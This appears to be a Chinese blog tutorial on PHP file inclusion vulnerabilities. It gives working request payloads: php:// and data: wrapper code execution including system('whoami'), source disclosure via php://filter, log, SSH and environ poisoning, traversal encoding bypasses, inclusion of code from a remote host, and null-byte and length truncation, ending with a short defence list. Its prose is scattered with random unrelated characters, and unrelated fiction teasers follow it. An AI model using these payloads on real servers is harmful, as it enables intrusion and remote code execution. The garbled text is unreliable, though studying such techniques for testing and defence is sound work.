php文件包含漏洞

php文件包含漏洞

相關(guān)函數(shù)

php中引發(fā)文件包含漏洞的通常是以下四個(gè)函數(shù):

include()
include_once()
require()
require_once()

1变汪、reuqire() 如果在包含的過(guò)程中有錯(cuò)伤为,比如文件不存在等,則會(huì)直接退出杀餐,不執(zhí)行后續(xù)語(yǔ)句干发。
2、include() 如果出錯(cuò)的話怜浅,只會(huì)提出警告铐然,會(huì)繼續(xù)執(zhí)行后續(xù)語(yǔ)句。
3恶座、require_once() 和 include_once() 功能與require() 和 include() 類似搀暑。但如果一個(gè)文件已經(jīng)被包含過(guò)了,則 require_once() 和 include_once() 則不會(huì)再包含它跨琳,以避免函數(shù)重定義或變量重賦值等問(wèn)題自点。
當(dāng)利用這四個(gè)函數(shù)來(lái)包含文件時(shí),不管文件是什么類型(圖片脉让、txt等等)桂敛,都會(huì)直接作為php文件進(jìn)行解析。測(cè)試代碼:

<?php
    $file = $_GET['file'];
    include $file;
?>

在同目錄下有個(gè)phpinfo.txt溅潜,其內(nèi)容為<? phpinof(); ?>术唬。則只需要訪問(wèn):

index.php?file=phpinfo.txt

即可成功解析phpinfo。

分類

LFI(Local File Inclusion)

本地文件包含漏洞滚澜,顧名思義粗仓,指的是能打開(kāi)并包含本地文件的漏洞。大部分情況下遇到的文件包含漏洞都是LFI设捐。簡(jiǎn)單的測(cè)試用例如前所示借浊。

RFI(Remote File Inclusion)

遠(yuǎn)程文件包含漏洞。是指能夠包含遠(yuǎn)程服務(wù)器上的文件并執(zhí)行萝招。由于遠(yuǎn)程服務(wù)器的文件是我們可控的蚂斤,因此漏洞一旦存在危害性會(huì)很大。
但RFI的利用條件較為苛刻槐沼,需要php.ini中進(jìn)行配置

allow_url_fopen = On
allow_url_include = On

兩個(gè)配置選項(xiàng)均需要為On曙蒸,才能遠(yuǎn)程包含文件成功。

在php.ini中母赵,allow_url_fopen默認(rèn)一直是On逸爵,而allow_url_include從php5.2之后就默認(rèn)為Off。

文件包含場(chǎng)景

下面例子中測(cè)試代碼均為:

<?php
    $file = $_GET['file'];
    include $file;
?>

allow_url_fopen 默認(rèn)為 On
allow_url_include 默認(rèn)為 Off
若有特殊要求凹嘲,會(huì)在利用條件里指出师倔。

php偽協(xié)議

php://input

前提條件:
1. allow_url_include = On。
2. 對(duì)allow_url_fopen不做要求。
操作
index.php?file=php://input

POST參數(shù):
<? phpinfo();?>

php://filter

前提條件:無(wú)
操作:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通過(guò)指定末尾的文件趋艘,可以讀取經(jīng)base64加密后的文件源碼疲恢,之后再base64解碼一下就行。雖然不能直接獲取到shell等瓷胧,但能讀取敏感文件危害也是挺大的显拳。

>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他操作:
index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一樣,少了read等關(guān)鍵字搓萧。在繞過(guò)一些waf時(shí)也許有用杂数。

phar://

前提條件:
1. php版本大于等于php5.3.0
操作:

假設(shè)有個(gè)文件phpinfo.txt,其內(nèi)容為<?php phpinfo(); ?>瘸洛,打包成zip壓縮包揍移,指定絕對(duì)路徑

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者使用相對(duì)路徑(這里test.zip就在當(dāng)前目錄下)

index.php?file=phar://test.zip/phpinfo.txt

zip://

前提條件:
1. php版本大于等于php5.3.0
操作:

構(gòu)造zip包的方法同phar。
但使用zip協(xié)議反肋,需要指定絕對(duì)路徑那伐,同時(shí)將#編碼為%23,之后填上壓縮包內(nèi)的文件石蔗。

index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

若是使用相對(duì)路徑罕邀,則會(huì)包含失敗。

data:URI schema

前提條件:
1. php版本大于等于php5.2
2. allow_url_fopen = On
3. allow_url_include = On
操作:
index.php?file=data:text/plain,<?php phpinfo();?>
index.php?file=data:text/plain,<?php system('whoami');?>
執(zhí)行命令:
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加號(hào)+的url編碼為%2b养距,PD9waHAgcGhwaW5mbygpOz8+的base64解碼為:<?php phpinfo();?>
執(zhí)行命令:

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解碼為:<?php system('whoami');?>

包含session

前提條件:
session文件路徑已知诉探,且其中內(nèi)容部分可控。
操作:

php的session文件的保存路徑可以在phpinfo的session.save_path看到棍厌。
常見(jiàn)的php-session存放位置:

1. /var/lib/php/sess_PHPSESSID
2. /var/lib/php/sess_PHPSESSID
3. /tmp/sess_PHPSESSID
4. /tmp/sessions/sess_PHPSESSID

session的文件名格式為sess_[phpsessid]阵具。而phpsessid在發(fā)送的請(qǐng)求的cookie字段中可以看到。
要包含并利用的話定铜,需要能控制部分sesssion文件的內(nèi)容。暫時(shí)沒(méi)有通用的辦法怕敬。有些時(shí)候揣炕,可以先包含進(jìn)session文件,觀察里面的內(nèi)容东跪,然后根據(jù)里面的字段來(lái)發(fā)現(xiàn)可控的變量畸陡,從而利用變量來(lái)寫(xiě)入payload,并之后再次包含從而執(zhí)行php代碼虽填。

包含日志

訪問(wèn)日志

前提條件:
需要知道服務(wù)器日志的存儲(chǔ)路徑丁恭,且日志文件可讀。
操作:

很多時(shí)候斋日,web服務(wù)器會(huì)將請(qǐng)求寫(xiě)入到日志文件中牲览,比如說(shuō)apache。在用戶發(fā)起請(qǐng)求時(shí)恶守,會(huì)將請(qǐng)求寫(xiě)入access.log第献,當(dāng)發(fā)生錯(cuò)誤時(shí)將錯(cuò)誤寫(xiě)入error.log贡必。默認(rèn)情況下,日志保存路徑在 /var/log/apache2/庸毫。但如果是直接發(fā)起請(qǐng)求仔拟,會(huì)導(dǎo)致一些符號(hào)被編碼使得包含無(wú)法正確解析§撸可以使用burp截包后修改利花。
正常的php代碼已經(jīng)寫(xiě)入了 /var/log/apache2/access.log。然后進(jìn)行包含即可载佳。
在一些場(chǎng)景中炒事,log的地址是被修改掉的。你可以通過(guò)讀取相應(yīng)的配置文件后刚盈,再進(jìn)行包含羡洛。

SSH log

前提條件:
需要知道ssh-log的位置,且可讀藕漱。默認(rèn)情況下為 /var/log/auth.log
操作:

用ssh連接:

ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后會(huì)提示輸入密碼等等欲侮,隨便輸入。然后在remotehost的ssh-log中即可寫(xiě)入php代碼肋联。之后進(jìn)行文件包含即可威蕉。

包含environ

前提條件:
1. php以cgi方式運(yùn)行,這樣environ才會(huì)保持UA頭橄仍。
2. environ文件存儲(chǔ)位置已知韧涨,且environ文件可讀。
操作:

/proc/self/environ中會(huì)保存user-agent頭侮繁。如果在user-agent中插入php代碼虑粥,則php代碼會(huì)被寫(xiě)入到environ中。之后再包含它宪哩,即可娩贷。

包含fd

跟包含environ類似。

包含臨時(shí)文件

php中上傳文件锁孟,會(huì)創(chuàng)建臨時(shí)文件彬祖。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄品抽。在臨時(shí)文件被刪除之前储笑,利用競(jìng)爭(zhēng)即可包含該臨時(shí)文件。

由于包含需要知道包含的文件名圆恤。一種方法是進(jìn)行暴力猜解突倍,linux下使用的隨機(jī)函數(shù)有缺陷,而window下只有65535中不同的文件名,所以這個(gè)方法是可行的赘方。

另一種方法是配合phpinfo頁(yè)面的php variables烧颖,可以直接獲取到上傳文件的存儲(chǔ)路徑和臨時(shí)文件名,直接包含即可窄陡。

包含上傳文件

前提條件:
千變?nèi)f化炕淮,不過(guò)至少得知道上傳的文件在哪,叫啥名字跳夭。涂圆。。
操作:

往往要配合上傳的操作币叹,不說(shuō)了润歉,太多了。

其余

一個(gè)web服務(wù)往往會(huì)用到多個(gè)其他服務(wù)颈抚,比如ftp服務(wù)踩衩,數(shù)據(jù)庫(kù)等等。這些應(yīng)用也會(huì)產(chǎn)生相應(yīng)的文件贩汉,但這就需要具體情況具體分析咯驱富。這里就不展開(kāi)了。

繞過(guò)姿勢(shì)

接下來(lái)聊聊繞過(guò)姿勢(shì)匹舞。平常碰到的情況肯定不會(huì)是簡(jiǎn)簡(jiǎn)單單的include $_GET['file'];這樣直接把變量傳入包含函數(shù)的褐鸥。在很多時(shí)候包含的變量/文件不是完全可控的,比如下面這段代碼指定了前綴和后綴:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file.'/test/test.php';
?>

這樣就很“難”直接去包含前面提到的種種文件赐稽。

指定前綴

先考慮一下指定了前綴的情況吧叫榕。測(cè)試代碼:

<?php
    $file = $_GET['file'];
    include '/var/www/html/'.$file;
?>

繞過(guò)操作

這個(gè)最簡(jiǎn)單了,簡(jiǎn)要的提一下姊舵。
現(xiàn)在在/var/log/test.txt文件中有php代碼<?php phpinfo();?>晰绎,則利用../可以進(jìn)行目錄遍歷,比如我們嘗試訪問(wèn):

include.php?file=../../log/test.txt

則服務(wù)器端實(shí)際拼接出來(lái)的路徑為:/var/www/html/../../log/test.txt括丁,也即/var/log/test.txt寒匙。從而包含成功。

編碼繞過(guò)

服務(wù)器端常常會(huì)對(duì)于../等做一些過(guò)濾躏将,可以用一些編碼來(lái)進(jìn)行繞過(guò)。下面這些總結(jié)來(lái)自《白帽子講Web安全》考蕾。

- 利用url編碼
  - ../
    - %2e%2e%2f
    - ..%2f
    - %2e%2e/
  - ..\
    - %2e%2e%5c
    - ..%5c
    - %2e%2e\
- 二次編碼
  - ../
    - %252e%252e%252f
  - ..\
    - %252e%252e%255c

指定后綴

接著考慮指定后綴的情況祸憋。測(cè)試代碼:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

URL繞過(guò)操作

url格式

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在遠(yuǎn)程文件包含漏洞(RFI)中,可以利用query或fragment來(lái)繞過(guò)后綴限制肖卧。
姿勢(shì)一:query(蚯窥?)

index.php?file=http://remoteaddr/remoteinfo.txt?

則包含的文件為 http://remoteaddr/remoteinfo.txt?/test/test.php
問(wèn)號(hào)后面的部分/test/test.php,也就是指定的后綴被當(dāng)作query從而被繞過(guò)。
姿勢(shì)二:fragment(#)

index.php?file=http://remoteaddr/remoteinfo.txt%23

則包含的文件為 http://remoteaddr/remoteinfo.txt#/test/test.php
問(wèn)號(hào)后面的部分/test/test.php拦赠,也就是指定的后綴被當(dāng)作fragment從而被繞過(guò)巍沙。注意需要把#進(jìn)行url編碼為%23

利用協(xié)議繞過(guò)操作

前面有提到過(guò)利用zip協(xié)議和phar協(xié)議荷鼠。假設(shè)現(xiàn)在測(cè)試代碼為:

<?php
    $file = $_GET['file'];
    include $file.'/test/test.php';
?>

其中test.php內(nèi)容為:

<?php phpinfo(); ?>

利用zip協(xié)議句携,注意要指定絕對(duì)路徑

index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

則拼接后為:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php
能成功包含。

長(zhǎng)度截?cái)嗬@過(guò)操作

前提條件:
php版本 < php 5.2.8

目錄字符串允乐,在linux下4096字節(jié)時(shí)會(huì)達(dá)到最大值矮嫉,在window下是256字節(jié)。只要不斷的重復(fù)./

index.php?file=././././牍疏。蠢笋。。省略鳞陨。昨寞。。././shell.txt

則后綴/test/test.php厦滤,在達(dá)到最大值后會(huì)被直接丟棄掉援岩。

0字節(jié)截?cái)嗬@過(guò)操作

前提條件:
php版本 < php 5.3.4
index.php?file=phpinfo.txt%00

能利用00截?cái)嗟膱?chǎng)景現(xiàn)在應(yīng)該很少了:)

防御方案

1. 在很多場(chǎng)景中都需要去包含web目錄之外的文件,如果php配置了open_basedir馁害,則會(huì)包含失敗
2. 做好文件的權(quán)限管理
3. 對(duì)危險(xiǎn)字符進(jìn)行過(guò)濾等等
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末窄俏,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子碘菜,更是在濱河造成了極大的恐慌凹蜈,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,277評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件忍啸,死亡現(xiàn)場(chǎng)離奇詭異仰坦,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)计雌,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評(píng)論 3 393
  • 文/潘曉璐 我一進(jìn)店門(mén)悄晃,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人凿滤,你說(shuō)我怎么就攤上這事妈橄。” “怎么了翁脆?”我有些...
    開(kāi)封第一講書(shū)人閱讀 163,624評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵眷蚓,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我反番,道長(zhǎng)沙热,這世上最難降的妖魔是什么叉钥? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,356評(píng)論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮篙贸,結(jié)果婚禮上投队,老公的妹妹穿的比我還像新娘。我一直安慰自己爵川,他們只是感情好敷鸦,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,402評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著雁芙,像睡著了一般轧膘。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上兔甘,一...
    開(kāi)封第一講書(shū)人閱讀 51,292評(píng)論 1 301
  • 那天谎碍,我揣著相機(jī)與錄音,去河邊找鬼洞焙。 笑死蟆淀,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的澡匪。 我是一名探鬼主播熔任,決...
    沈念sama閱讀 40,135評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼唁情!你這毒婦竟也來(lái)了疑苔?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 38,992評(píng)論 0 275
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤甸鸟,失蹤者是張志新(化名)和其女友劉穎惦费,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體抢韭,經(jīng)...
    沈念sama閱讀 45,429評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡薪贫,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,636評(píng)論 3 334
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了刻恭。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片瞧省。...
    茶點(diǎn)故事閱讀 39,785評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖鳍贾,靈堂內(nèi)的尸體忽然破棺而出鞍匾,到底是詐尸還是另有隱情,我是刑警寧澤骑科,帶...
    沈念sama閱讀 35,492評(píng)論 5 345
  • 正文 年R本政府宣布橡淑,位于F島的核電站,受9級(jí)特大地震影響纵散,放射性物質(zhì)發(fā)生泄漏梳码。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,092評(píng)論 3 328
  • 文/蒙蒙 一伍掀、第九天 我趴在偏房一處隱蔽的房頂上張望掰茶。 院中可真熱鬧,春花似錦蜜笤、人聲如沸濒蒋。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,723評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)沪伙。三九已至,卻和暖如春县好,著一層夾襖步出監(jiān)牢的瞬間围橡,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,858評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工缕贡, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留翁授,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,891評(píng)論 2 370
  • 正文 我出身青樓晾咪,卻偏偏與公主長(zhǎng)得像收擦,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子谍倦,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,713評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容